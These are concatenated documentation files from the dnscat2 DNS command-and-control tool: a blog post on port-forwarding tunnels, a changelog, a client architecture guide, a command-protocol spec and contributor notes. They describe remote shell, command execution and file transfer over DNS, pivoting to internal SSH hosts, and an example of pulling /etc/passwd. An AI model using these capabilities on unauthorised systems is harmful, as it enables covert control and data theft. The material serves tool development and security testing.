57
58 <pre>
59 New window created: 1
60 Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
61 For added security, please ensure the client displays the same string:
62
63 &gt;&gt; Encode Surfs Taking Spiced Finer Sonny
64
65 dnscat2&gt; session -i 1
66 [...]
67 dnscat2&gt; listen 8080 www.google.com:80
68 Listening on 0.0.0.0:8080, sending connections to www.google.com:80
69 </pre>
70
71 Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes.
72
73 The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a <tt>TUNNEL_CONNECT</tt> message (which will be discussed later).
74
75 Now we can connect to the server on port 8080 and request a page:
76
77 <pre>
78 $ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
79 localhost [127.0.0.1] 8080 (http-alt) open
80 HTTP/1.0 200 OK
81 Date: Thu, 24 Dec 2015 16:28:27 GMT
82 Expires: -1
83 Cache-Control: private, max-age=0
84 [...]
85 </pre>
86
87 On the server, we see the request going out:
88
89 <pre>
90 command (ankh) 1&gt; listen 8080 www.google.com:80
91 Listening on 0.0.0.0:8080, sending connections to www.google.com:80
92 command (ankh) 1&gt;
93 Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
94 [Tunnel 0] connection successful!
95 [Tunnel 0] closed by the other side: Server closed the connection!
96 Connection from 123.151.42.61:48904; forwarding to www.google.com:80...
97 </pre>
98
99 And you also see very similar messages on the client:
100
101 <pre>
102 Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
103 [[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
104 [[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
105 [[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!
106 </pre>
107
108 That's pretty much all you need to know! One more quick example:
109
110 To forward a ssh connection to an internal machine:
111 <pre>
112 command (ankh) 1&gt; listen 127.0.0.1:2222 192.168.1.100:22
113 </pre>
114
115 Followed by <tt>ssh -p2222 root@localhost</tt>. That'll connect to 192.168.1.100 on port 22, via the dnscat client!
116
117 <h2>Stopping a session</h2>
118
119 I frequently used auto-commands while testing this feature:
120
121 <pre>
122 ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
123 </pre>
124
125 The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore:
126
127 <pre>
128 Listening on 0.0.0.0:4444, sending connections to localhost:5555
129 Sorry, that address:port is already in use: Address already in use - bind(2)
130
131 If you kill a session from the root window with the 'kill'
132 command, it will free the socket. You can get a list of which
133 sockets are being used with the 'tunnels' command!
134
135 I realize this is super awkward.. don't worry, it'll get
136 better next version! Stay tuned!
137 </pre>
138
139 If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there):
140
141 <pre>
142 dnscat2&gt; kill 1
143 Session 1 has been sent the kill signal!
144 Session 1 killed: No reason given
145 </pre>
146
147 If you don't know which session it is, you have to go into each session and run <tt>tunnels</tt> to figure out which one is holding the port open:
148
149 <pre>
150 dnscat2&gt; session -i 1
151 [...]
152 command (ankh) 1&gt; tunnels
153 Tunnel listening on 0.0.0.0:2222
154 Tunnel listening on 0.0.0.0:1234
155 Tunnel listening on 0.0.0.0:4444
156 </pre>
157
158 Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the <tt>kill</tt> command.
159
160 I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas!
161
162 <h2>Implementation details</h2>
163
164 As usual, the implementation is documented in detail in the <a href='https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md'>protocol.md</a> and <a href='https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md'>command_protocol.md</a> docs.
165
166 Basically, I extended the "command protocol", which is the protocol that's used for commands like <tt>upload</tt>, <tt>download</tt>, <tt>ping</tt>, <tt>shell</tt>, <tt>exec</tt>, etc.
167
168 Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request.
169
170 Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of <tt>request_id</tt> - responses now have the left-most bit set of the <tt>request_id</tt>.
171
172 At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a <tt>TUNNEL_CONNECT</tt> request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a <tt>TUNNEL_CONNECT</tt> response, which simply contains the <tt>tunnel_id</tt>.
173
174 From then on, data can be sent in either direction using <tt>TUNNEL_DATA</tt> requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a <tt>TUNNEL_DATA</tt> message. Which is fine, because we have guaranteed delivery from lower level protocols.
175
176 When either side decides to terminate the connection, it sends a <tt>TUNNEL_CLOSE</tt> request, which contains a <tt>tunnel_id</tt> and a reason string.
177
178 One final implementation detail: <tt>tunnel_id</tt>s are local to a session.
179
180 <h2>Future plans</h2>
181
182 As I said at the start, I've implemented <tt>ssh -L</tt>. My next plans are to implement <tt>ssh -D</tt> (easysauce!) and <tt>ssh -R</tt> (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :)
183
184 The tricky part about <tt>ssh -R</tt> is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting!
185
186 <h2>Conclusion</h2>
187
188 And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can <a href='https://www.patreon.com/iagox86'>support me on Patreon</a>! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :)
189
190 And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an <a href='https://github.com/iagox86/dnscat2/issues'>issue on Github</a>!
0 # 0.07
1
2 * Fixed a bug where 'shell' sessions would completely fail to work
3 * Introduce `COMMAND_DELAY` to allow operators to change the client's
4 session delay on-the-fly
5 * Created a document on how to send bug reports
6 * Other miscellaneous changes
7
8 # 0.06
9
10 * Implemented tunneling, similar to "ssh -L", which is accessed on the
11 server via the `listen` command
12 * Added tools/dnstest.rb, a script to verify that the user actually own
13 the domain.
14 * Greatly improved performance when a lot of data is being transmitted
15 from the server to the client
16 * Fixed a bug where shared secrets (and other arguments) didn't work on
17 the client if the user explicitly chose a driver type
18 * Cleaned up the "create driver" logic on the client
19 * *BREAKING PROTOCL CHANGE*: Made a change to the command protocol: the
20 16-bit `request_id` field was changed into `packed_id`, which has a
21 1-bit `is_response` value and a 15-bit `request_id`.
22
23 # 0.04
24
25 * Added encryption, and made all connections encrypted by default
26 * Some other minor UI or code cleanup changes
27
28 # 0.03
29
30 * Re-wrote large parts of the server into way cleaner code
31 * Significantly updated the documentation for the server
32 * Removed reliance from rubydns, a built-in DNS server is now used for
33 everything
34 * Added a standalone tool, dnslogger.rb
35 * There is now a "passthrough" option, which will forward any requests
36 that dnscat2 doesn't know how to handle to an upstream server
37 (somewhat stealthier, maybe?)
38
39 # 0.02
40
41 * Re-wrote large parts of the client into cleaner code (for example,
42 removed the entire message.\* code, which was an awful, awful idea)
43 * When multiple sessions are in progress, it's now "fair" (a message is
44 sent every 'tick'; each session now takes turns sending out a message,
45 rather than the oldest sessions blocking out younger ones
46 * Removed some parameters that nobody will ever use from the
47 commandline, like --name and --download (though --download may come back
48 in another form!)
49 * Changed the way a "tunnel driver" (ie, dns driver) is created on the
50 commandline - it's now modeled after socat
51 * The client will no longer transmit forever against a bad server - it
52 will attempt to retransmit 10 times by default
53
54 # 0.01
55
56 * Initial release, everything is new!
57
58
0 # Client
1
2 The client is written in C, and can be found in the client/ directory.
3 Where possible, the code conforms to the C89 standard, and uses a
4 variety of libraries I've written over the years. I avoid external
5 dependencies because as much as possible because I want this to be able
6 to compile and run in as many environments and with as few
7 pre-requisites as possible.
8
9 Any changes should conform closely to the C89 standard and should not
10 introduce dependencies unless it's absolutely necessary.
11
12 Additionally, unless there's a good reason not to, the code should be
13 written very modularly - each implementation, xxx.c, should have a
14 corresponding xxx.h file that defines its types and functions. When it
15 makes sense, each module should have its own type, xxx_t, which is
16 created by `xxx_create` and destroyed/freed by `xxx_destroy`. This:
17
18 xxx_destroy(xxx_create())
19
20 shouldn't leak memory.
21
22 This keeps the code clean and well structured.
23
24 Finally, all changes should be compatible with Windows, Linux, OS X, and
25 FreeBSD, at a minimum.
26
27 ## Structure
28
29 The main file is client/dnscat.c. It contains the `main` function, which
30 handles the commandline parsing, starts the initial drivers, and enters
31 the main network loop.
32
33 To understand the structure, it'd be helpful to understand how the
34 dnscat protocol works - see [protocol.md](protocol.md) for that. I'll
35 give a quick overview, though.
36
37 ### tunnel_driver
38
39 The actual code that touches the network is called a tunnel_driver, and
40 is located in tunnel_drivers/. An example of a tunnel driver - and the
41 only tunnel_driver that exists as of this writing - is the dns driver,
42 which is implemented in
43 [driver_dns.c](/client/tunnel_drivers/driver_dns.c). The protocol I
44 invented for doing packets over DNS (sort of akin to layer 2) is called
45 the "DNS Tunneling Protocol", and is discussed in detail in
46 [protocol.md](protocol.md).
47
48 The tunnel_driver has no real understanding of the dnscat protocol or of
49 sessions or 'connections' or anything like that. The "dnscat protocol"
50 happens at a higher layer (in sessions), and is tunnel_driver agnostic.
51 All it does is take data that's embedded in a packet and convert it into
52 a stream of bytes.
53
54 When a tunnel_driver is created, it must create the socket(s) it needs
55 to communicate with the outside world, and starts polling for data - it
56 is important for the tunnel driver to be in constant communication with
57 a dnscat2 server, because the server can only send data to the client
58 when it's polled.
59
60 All communication with the rest of dnscat2 is done via the
61 [controller](#controller). When the tunnel_driver gets data, it's
62 decoded and sent to the controller. When the tunnel_driver is capable of
63 sending data, it asks the controller for any data that's available.
64
65 There is only ever a single tunnel_driver instance running. The
66 tunnel_driver is aware of the controller, but the controller isn't aware
67 of the tunnel_driver.
68
69 ### controller
70
71 The controller is the go-between from the
72 [tunnel_driver](#tunnel_driver) to the [sessions](#session). It's
73 essentially a session manager - it creates, destroys, and can enumerate
74 sessions as needed. It's implemented in
75 [controller.c](/client/controller/controller.c)
76
77 When data comes in to a tunnel_driver, it's decoded sent to the
78 controller. The controller parses it just enough to get the session_id
79 value from the header, then it finds the session that corresponds to
80 that id and sends the data to it for processing. If there's no such
81 session, an error is printed and it's ignored.
82
83 For data being sent out, the controller polls each session and sends it
84 along to the tunnel_driver.
85
86 The controller knows how to find and talk to sessions, but it doesn't know
87 anything about the tunnel_driver.
88
89 +---------------+
90 | tunnel_driver | (only 1)
91 +---------------+
92 |
93 v
94 +------------+
95 | controller | (only 1)
96 +------------+
97
98 ### session
99
100 Initially, a single session is created. That session, however, might
101 spawn other sessions. Sessions are identified with a 16-bit id value
102 that's also sent across the network. The session management code is
103 implemented in [session.c](/client/controller/session.c).
104
105 Each session has a corresponding [driver](#drivers) (different from a
106 [tunnel_driver](#tunnel_driver)), which is how it interacts with the
107 real world (the console, an executable, etc).
108
109 The session module is where the actual dnscat protocol (see
110 [protocol.md](protocol.md)) is parsed - the actual parsing is done in
111 [packet.c](/client/controller/packet.c). It's agnostic to both its back
112 end (a tunnel_driver) and its front end (just a driver).
113
114 When data is received by the tunnel_driver, it's sent to the session via
115 the [controller](#controller). The packet received by the session is
116 parsed as a dnscat protocol packet, and it's fed into the session's
117 state machine. If everything is okay (a good seq/ack, the right type in
118 the right state, etc), the data portion of the packet, if any, is passed
119 up to the driver. If there's no data in the received packet, the driver
120 is still polled to see if any outgoing data is waiting.
121
122 Whether or not the driver had data waiting, the session generates a new
123 packet in the dnscat protocol (with the proper session_id/seq/ack
124 values). That packet is returned to the session, then the controller,
125 then the tunnel_driver, where it's wrapped in a DNS Tunneling Protocol
126 packet and sent as a response.
127
128 The session knows what driver it's using, but has no knowledge of other
129 sessions or the controller.
130
131 +---------------+
132 | tunnel_driver | (only 1)
133 +---------------+
134 |
135 (has one)
136 |
137 v
138 +------------+
139 | controller | (only 1)
140 +------------+
141 |
142 (has one or more)
143 |
144 v
145 +---------+
146 | session | (at least one)
147 +---------+
148
149 ### drivers
150
151 The final part of the structure is drivers, which are stored in drivers/. Each
152 session has exactly one driver. The driver defines how it interacts with the
153 outside world (or with the program itself). There are a few types of driver
154 already created:
155
156 * [driver_console](/client/drivers/driver_console.c) - simply feeds the
157 program's stdin/stdout into the session. Not terribly useful outside
158 of testing. Only one / program is allowed, because stdin is a prude
159 (will only talk to one driver at a time).
160
161 * [driver_exec](/client/drivers/driver_exec.c) - execute a process (like
162 cmd.exe) and attach the process's stdin / stdout to the session.
163
164 * [driver_ping](/client/drivers/driver_ping.c) - this is a 'special' driver
165 that just handles dnscat2 pings (it simply echoes back what is sent)
166
167 * [driver_command](/client/drivers/command/driver_command.c) - this driver has
168 its own command packets, which can be used to upload files, download
169 files, execute commands, etc - basically, it creates other drivers.
170
171 It's pretty trivial to add more, from a programming perspective. But if
172 the connection is "special" (ie, the data isn't meant to be parsed by
173 humans, like driver_command, which has its own protocol), it's important
174 for the server to understand how to handle the connections (that is, the
175 if it's a command session, the server needs to show the user a menu and
176 wait for commands). That's done by using flags in the SYN packet.
177
178 A driver meant for direct human consumption - like driver_exec, which
179 just runs a program and sends the output over the session, doesn't
180 require anything special.
181
182 The driver runs in a vacuum - it doesn't know anything else about what
183 dnscat2 is up to. All it knows is that it's receiving data and getting
184 polled for its own data. Other than that, it's on its own. It doesn't
185 know about [sessions](#session) or [controllers](#controller) or
186 [tunnel_drivers](#tunnel_driver) or anything.
187
188 That's the design, anyway, but it isn't a hard and fast rule. There are
189 some cases where a driver will want to create another session, for
190 example (which is done by driver_command). As a result, those have to
191 call functions in [controller](#controller), which breaks the
192 architecture a bit, but there isn't really an alternative. I used to use
193 some message passing strategy, but it was horrible.
194
195 +---------------+
196 | tunnel_driver | (only 1)
197 +---------------+
198 |
199 (has one)
200 |
201 v
202 +------------+
203 | controller | (only 1)
204 +------------+
205 |
206 (has one or more)
207 |
208 v
209 +---------+
210 | session | (at least one)
211 +---------+
212 |
213 (has exactly one)
214 |
215 v
216 +--------+
217 | driver | (exactly one / session)
218 +--------+
219
220 ## Networking
221
222 All networking is done using [libs/tcp.h](/client/libs/tcp.h),
223 [libs/udp.h](/client/libs/udp.h), and
224 [libs/select_group.h](/client/libs/select_group.h). Like all libraries that
225 dnscat2 uses, all three work and are tested on Windows, Linux, OS X, and
226 FreeBSD.
227
228 The tcp and udp modules provide a simple interface to creating or
229 destroying IPv4 sockets without having to understand everything about
230 them. It also uses BSD sockets or Winsock, as appropriate.
231
232 The select_group module provides a way to asynchronously handle socket
233 communication. Essentially, you can create as many sockets as you want
234 and add them to the select_group module with a callback for receiving
235 data or being closed (basically, a platform-independent wrapper around
236 `select`). Then the `main` function (or whatever) calls
237 `select_group_do_select` with a timeout value in an infinite loop.
238
239 Each iteration of the loop, `select` is called, and any sockets that are
240 active have their appropriate callbacks called. From those callbacks,
241 the socket can be removed from the select_group (for example, if the
242 socket needs to be closed).
243
244 stdin can also be read by select_group, meaning that special code isn't
245 required to handle stdin input. On Windows, a secondary thread is
246 automatically created to poll for activity; see the asynchronous code
247 section for info.
248
249 ## Asynchronous code
250
251 There is as little threading as possible, and it should stay that way.
252 Every socket is put into `select` via the select_group library and when
253 the socket is active an appropriate callback is called by the
254 select_group module.
255
256 As a result, packet-handling functions must be fast. A slow function
257 will slow down the handling of all other traffic, which isn't great.
258
259 There is one place where threads are used, though: on Windows, it isn't
260 possible to put the stdin handle into `select`. So, transparently, the
261 select_group module will create a thread that basically just reads stdin
262 and shoves it into a pipe that can be selected on. You can find all the
263 code for this in [libs/select_group.h](/client/libs/select_group.h), and
264 this only affects Windows.
265
266 ## Memory management
267
268 I use sorta weird memory-management techniques that came from a million
269 years ago when I wrote nbtool: all memory management
270 (malloc/free/realloc/strdup/etc) takes place in a module called memory,
271 which can be found in [libs/memory.h](/client/libs/memory.h).
272
273 Basically, as a developer, all you need to know is to use `safe_malloc`,
274 `safe_free`, `safe_strdup`, and other `safe_*` functions defined in
275 libs/memory.h.
276
277 The advantage of this is that in debug mode, these are added to a linked
278 list of all memory ever allocated. When it's freed, it's marked as such.
279 When the program terminates cleanly, a list of all currently allocated
280 memory (including the file and line number where it was allocated) are
281 displayed, giving a platform-independent way to find memory leaks.
282
283 An additional advantage is that, for a small performance hit, the memory
284 being freed is zeroed out, which makes bugs somewhat easier to find and
285 stops user-after-free bugs from being exploitable. It will also detect
286 double-frees and abort automatically.
287
288 ## Parsing
289
290 All parsing (and marshalling and most kinds of string-building) should
291 be done by the buffer module, found in [libs/buffer.h](/client/libs/buffer.h).
292
293 The buffer module harkens back to Battle.net bot development, and is a
294 safe way to build and parse arbitrary binary strings. I've used more or
295 less the same code for 10+ years, with only minor changes (the only
296 major change has been moving to 64-bit lengths all around, and
297 occasionally adding a datatype).
298
299 Essentially, you create a buffer with your chosen byte order (little
300 endian, big endian, network (aka, big endian) or host:
301
302 buffer_t *buffer = buffer_create(BO_BIG_ENDIAN);
303
304 Then you can add bytes, integers, null-terminated strings (ntstrings),
305 byte arrays, and other buffers to it:
306
307 buffer_add_int8(buffer, 1);
308 buffer_add_ntstring(buffer, "hello");
309 buffer_add_bytes(buffer, (uint8_t*)"hello", 5);
310
311 When a buffer is ready to be sent, you can convert it to a byte string
312 and free it at the same time (you can also do these separately, but I
313 don't think I ever have):
314
315 size_t length;
316 uint8_t *out = buffer_create_string_and_destroy(buffer, &length);
317 [...]
318 safe_free(out);
319
320 You can also create a buffer containing data, such as data that's been
321 received from a socket:
322
323 buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length);
324
325 This makes a copy of data, so you can free it if necessary. Once it's
326 created you can read in values:
327
328 uint8_t byte = buffer_read_next_int8(buffer);
329 uint16_t word = buffer_read_next_int16(buffer);
330
331 You can also read from specific offsets:
332
333 uint32_t dword = buffer_read_int32_at(buffer, 0);
334 uint64_t qword = buffer_read_int64_at(buffer, 10);
335
336 You can also read an ntstring into a string you allocate:
337
338 char str[128];
339 buffer_read_next_ntstring(buffer, str, 128);
340
341 Or you can allocate a string automatically:
342
343 char *str = buffer_alloc_next_ntstring(buffer);
344 [...]
345 safe_free(str);
346
347 You can also read at certain indices (buffer_read_int8_at(...), for
348 example). See [libs/buffer.h](/client/libs/buffer.h) for everything, with
349 documentation.
350
351 Currently the error handling consists basically of aborting and printing
352 an error when attempting to read out of bounds. See below for more info
353 on error handling.
354
355 (I'm planning on shoring up the error handling in a future release)
356
357 ## Error handling
358
359 I'll just say it: the error handling on the client sucks right now. In
360 normal use everything's fine, but if you try messing with anything, any
361 abnormality causes an `abort`.
362
363 Right now, the majority of error handling is done by the
364 [buffer](/client/libs/buffer.h) module. If there's anything wrong with
365 the protocol (dnscat, dns, etc.), it simply exits.
366
367 That's clearly not a great situation for stable code. I plan to go
368 through and add better error handling in the future, but it's a
369 non-trivial operation.
370
371
0 # Introduction
1
2 This document describes a sub-protocol that dnscat2 uses, the dnscat2
3 command protocol. It's intended to be a simple command/response scheme
4 that delivers machine-readable commands to the client.
5
6 It's used for most operations, including starting a shell, starting and
7 transferring data via a tunnel, and basically everything else.
8
9 dnscat2 command packets are used behind-the-scenes for dnscat2 servers
10 and clients. It's not necessary to understand this protocol to use
11 dnscat2, this is a reference for myself (and other hackers who might get
12 involved).
13
14 # License
15
16 See LICENSE.md.
17
18 # High-level
19
20 When a client connects to a server, it can choose to use the command
21 protocol by setting `OPT_COMMAND` in the SYN packet, which is the
22 default when running the normal client.
23
24 Because dnscat2 already has a client and server component, it is
25 confusing to refer to command-protocol actors as a client or a server,
26 so refer to them as 'requester' and 'responder' in this document.
27
28 Both the dnscat2 client and server can initiate a request. Responses
29 have the first bit of `packed_id` set to identify them as such.
30
31 A requester sends a dnscat2 command packet in one or more dnscat2
32 packets. Multiple requests can be sent, one after the other, without
33 waiting for a response, but the requests can't be interleaved. Requests
34 can be identified "on the wire" because the first bit of the `packed_id`
35 field is 0; the first bit of responses is 1.
36
37 The responder performs actions requested in the message, and responds,
38 optionally, using the same request_id the requester used. No more than
39 one response should be sent for a given request. Unexpected responses
40 should be ignored.
41
42 Errors are indicated in the status field, by setting the status to a
43 non-zero value. Global errors (ie, errors that apply to every message
44 type) start with a 1 bit (0x8000 - 0xFFFF). Errors without the first bit
45 set are defined by the command itself.
46
47 There is no time limit on how long a response should take, nor is there
48 a requirement to order responses in any particular way.
49
50 # Structure
51
52 This is the structure of a dnscat2 command packet (note: all fields are
53 network byte order / big endian / msb first):
54
55 - (uint32_t) length (of the rest of the message)
56 - (uint16_t) packed_id
57 - (uint16_t) command_id
58 - (variable...) command fields
59
60 The `length` field is the number of bytes coming in the rest of the
61 packet (that is, the length of the packet not including the length
62 itself). It's possible for a message to span one or more dnscat packets,
63 so it's important that the client can save the chunks it's received.
64
65 The `packed_id` field is actually two separate values: the first bit is
66 `is_response`, and is set if and only if the packet is a response. The
67 remaining 15 bits are the `request_id`.
68
69 The `request_id` field is echoed back by the responder. It should be
70 used to determine which request each response corresponds to. The value
71 should be different for each outbound packet (unless more than 32,767
72 packets are sent; in that case it's okay to repeat). Incremental values
73 are best, but random is fine too.
74
75 The `command_id` chooses which command to run. See the 'commands'
76 section below. A response can have a different `command_id` (most
77 commonly, a response can be an error packet).
78
79 The remaining command fields are determined by the message type.
80
81 # Commands
82
83 ## Standard commands
84
85 The following standard commands are defined:
86
87 #define COMMAND_PING (0x0000)
88 #define COMMAND_SHELL (0x0001)
89 #define COMMAND_EXEC (0x0002)
90 #define COMMAND_DOWNLOAD (0x0003)
91 #define COMMAND_UPLOAD (0x0004)
92 #define COMMAND_SHUTDOWN (0x0005)
93 #define COMMAND_DELAY (0x0006)
94 #define COMMAND_ERROR (0xFFFF)
95
96 ### COMMAND_PING
97
98 server->client or client->server
99
100 Structure (request):
101 - (ntstring) data
102
103 Structure (response):
104 - (ntstring) data
105
106 Asks the other party to echo back some data. Simply used for testing.
107
108 ### COMMAND_SHELL
109
110 server->client only
111
112 Structure (request):
113 - (ntstring) name
114
115 Structure (response):
116 - (uint16_t) session_id
117
118 Ask a dnscat2 client to spawn a shell. The shell will be connected back
119 to the dnscat2 server as if the client was run using `dnscat2 --exec sh`
120 or `dnscat2 --exec cmd`.
121
122 ### COMMAND_EXEC
123
124 server->client only
125
126 Structure (request):
127 - (ntstring) name
128 - (ntstring) command
129
130 Structure (response):
131 - (uint16_t) session_id
132
133 Ask a dnscat2 client to run the given command, and bind the input to a
134 new session.
135
136 ### COMMAND_DOWNLOAD
137
138 server->client only
139
140 Structure (request):
141 - (ntstring) filename
142
143 Structure (response):
144 - (variable) data
145
146 Ask a dnscat2 client to over the requested file. The data is the
147 remainder of the packet.
148
149 If the file isn't found or accessible, a COMMAND_ERROR should be
150 returned.
151
152 ### COMMAND_UPLOAD
153
154 server->client only
155
156 Structure (request):
157 - (ntstring) fully qualified filename
158 - (variable) data
159
160 Structure (response):
161 - n/a
162
163 Send a file to the remote host. The filename can be fully qualified, or
164 the file will be uploaded to a path relative to the dnscat client's
165 location. Like COMMAND_DOWNLOAD, the data is the remainder of the packet.
166
167 If the file can't be written, a COMMAND_ERROR is returned. Otherwise,
168 the response is simply blank, indicating success.
169
170 ### COMMAND_DELAY
171
172 server->client only
173
174 Structure (request):
175 - (uint32_t) delay
176
177 Structure (response):
178 - n/a
179
180 Request that the client changes the value of its session delay, i.e.
181 check-in with the server at a different frequency. The response is
182 simply blank, indicating success.
183
184 ### COMMAND_ERROR
185
186 server->client or client->server, but always a response
187
188 Structure (request):
189 - n/a - there's no request
190
191 Structure (response):
192 - (uint16_t) status
193 - (ntstring) reason
194
195 Errors are mostly free-form, and must be sent as a response to something
196 else.
197
198 ## Tunnel commands
199
200 In addition to the standard commands, the following commands are used
201 for tunneling connections via dnscat2:
202
203 #define TUNNEL_CONNECT (0x1000)
204 #define TUNNEL_DATA (0x1001)
205 #define TUNNEL_CLOSE (0x1002)
206
207 From a high-level, the dnscat2 server sends the dnscat2 client a
208 `TUNNEL_CONNECT` message, which tells the client to connect to the given
209 host:port. If the connection is successful, it returns a
210 `TUNNEL_CONNECT` response with the `tunnel_id`. The `tunnel_id` is used
211 for the lifespan of the connection to identify it.
212
213 If the `TUNNEL_CONNECT` fails, then a `COMMAND_ERROR` with an
214 appropriate message is returned.
215
216 Once the connection is successful, `TUNNEL_DATA` can be sent in both
217 directions. There is no response, it's assumed that the `TUNNEL_DATA`
218 will make it across.
219
220 If at any point the connection ends, then the dnscat2 client or dnscat2
221 server can send a `TUNNEL_CLOSE` message to the other side. That message
222 also has no response.
223
224 ### TUNNEL_CONNECT
225
226 server->client (for now)
227
228 Structure (request):
229 - (uint32_t) options
230 - (ntstring) host
231 - (uint16_t) port
232
233 Structure (response):
234 - (uint32_t) tunnel_id
235
236 Asks the dnscat2 client to make a connection to another server. If it's
237 successful, the response contains the new `tunnel_id`. If the connection
238 fails, then a `COMMAND_ERROR` message is returned as the response.
239
240 ### TUNNEL_DATA
241
242 server->client or client->server
243
244 Structure (request):
245 - (uint32_t) tunnel_id
246 - (variable) data
247
248 Structure (response):
249 - n/a - there's no response
250
251 Can be sent in either direction for an active tunnel. Represents data
252 moving across it.
253
254 ### TUNNEL_CLOSE
255
256 server->client (for now)
257
258 Structure (request):
259 - (uint32_t) tunnel_id
260
261 Structure (response):
262 - n/a - there's no response
263
264 Can be sent by either side to indicate that the connection is over.
0 # Introduction
1
2 So, you want to contribute to dnscat2 but don't know where to start?
3 Well, this document will help give you some context on how to contribute
4 and how development happens.
5
6 It also describes the layout and logic behind the dnscat2 codebase.
7 This is primarily intended for developers or perhaps security auditors,
8 and shouldn't be necessary for end users.
9
10 This document complements other documents, such as
11 [protocol.md](protocol.md).
12
13 # How do I contribute?
14
15 Contributing is easy! I love getting code submitted from others! Send me
16 a pull request!
17
18 To go into more details...
19
20 If you're wondering how to help, check out the [issue
21 tracker](https://github.com/iagox86/dnscat2/issues). I try to keep that
22 up to date with the current bugs / requested features. Some of the
23 things on there are poorly described, because I write them for myself,
24 but if something catches your eye, feel free to request details!
25
26 If you plan to develop something, be sure to take a look at the
27 [branches](https://github.com/iagox86/dnscat2/branches) to see if
28 there's currently a branch that's going to conflict with your changes
29 (especially in the early stages, I'm doing a lot of global refactoring,
30 so I can easily and unintentionally break your changes).
31
32 Being that I (Ron / iagox86) am currently the only developer, there
33 isn't a mailing list or anything like that set up. However, you're
34 absolutely welcome to email me any questions you have - I'm very
35 responsive with email, and I respond to any and all emails that aren't,
36 for example, asking me to hack your wife. If a few days go by with no
37 response, feel free to email again with "friendly ping" or something :)
38
39 Because it's just me, politics and coding style aren't a huge issue.
40 Please try to use the same coding style as the surrounding code to make
41 it easier to read. Also, comment and document generously!
42
43 I think that's all you really need to know about contributing. The rest
44 of this document will be about design decisions and where to find
45 different pieces!
46
47 # Architecture
48
49 This section became too long to fit into a single doc, so I decided to
50 split out the documentation for the client and the server"
51
52 * [Client architecture](client_architecture.md)
53 * [Server architecture](server_architecture.md)
54
55 # Security
56
57 As mentioned in the client error handling section, any bad data causes
58 the client to `abort`. That's obviously not ideal, but at least it's
59 safe. On the server, bad data is ignored - an exception is triggered and
60 the connection is closed, if it can't recover.
61
62 Some other security concerns:
63
64 * Man-in-the-middle: A man-in-the-middle attack is possible, and can
65 cause code execution on the client. This has no more defense against
66 tampering than TCP has. I may add some signing in the future.
67
68 * Server: The server should be completely safe (ie, able to be run on
69 trusted infrastructure). The client can't execute code, download
70 files, or anything else that would negatively affect the server.
71
72 * Server 'process': The server has a --process argument (and 'process'
73 setting) that hands any incoming data from clients (who, by
74 definition, aren't trusted) to the process. If an insecure process is
75 chosen (or a command shell, like '/bin/sh'), it can compromise the
76 server's security. Use --process with extreme caution!
77
78 * Confidentiality: There is no confidentiality (all data is sent in
79 plaintext). I may add some crypto in the future.
80
81 * Cloaking: From a network traffic perspective, it's exceedingly obvious that
82 it's dnscat. It's also possible to trick a dnscat2 server into revealing
83 itself (with a ping). There is no hiding.
0 Lately, dnscat2 has gotten enough use that I'm getting hard-to-reproduce
1 bug reports! That's great news for the project, but bad news for me as
2 the only developer. :)
3
4 # Getting started
5
6 If you're an expert and you don't mind taking the time out to
7 troubleshoot it, that's great! The info below will explain how to get
8 the best debug logs currently available. There are also a bunch of
9 documents in this folder about the client and server architecture. Try
10 [contributing.md](contributing.md),
11 [client_architecture.md](client_architecture.md), and
12 [server_architecture.md](server_architecture.md).
13 [protocol.md](protocol.md) might also come in handy!
14
15 If you don't have the time or desire to troubleshoot yourself, that's
16 cool! Please file a bug on
17 [Github](https://github.com/iagox86/dnscat2/issues). If you email me,
18 I'll probably ask you to file it on github.
19
20 If you aren't able to file the bug publicly, perhaps because of private
21 IP addresses, you can email me directly - ron-at-skullsecurity-dot-net.
22
23 For most bugs, full client and server logs are super helpful. There's
24 information below on how to get them. If it's a network issue, then I'd
25 love to have a pcap, and it's a segmentation fault, I could use a
26 backtrace. All information on how to do that is below!
27
28 The examples below disable encryption for easier troubleshooting. If the
29 problem goes away, or you suspect it's a problem with encryption, then
30 don't set `--security=open` on the server or `--no-encryption` on the
31 client!
32
33 ## Getting server logs...
34
35 On the server, there are a few helpful options:
36
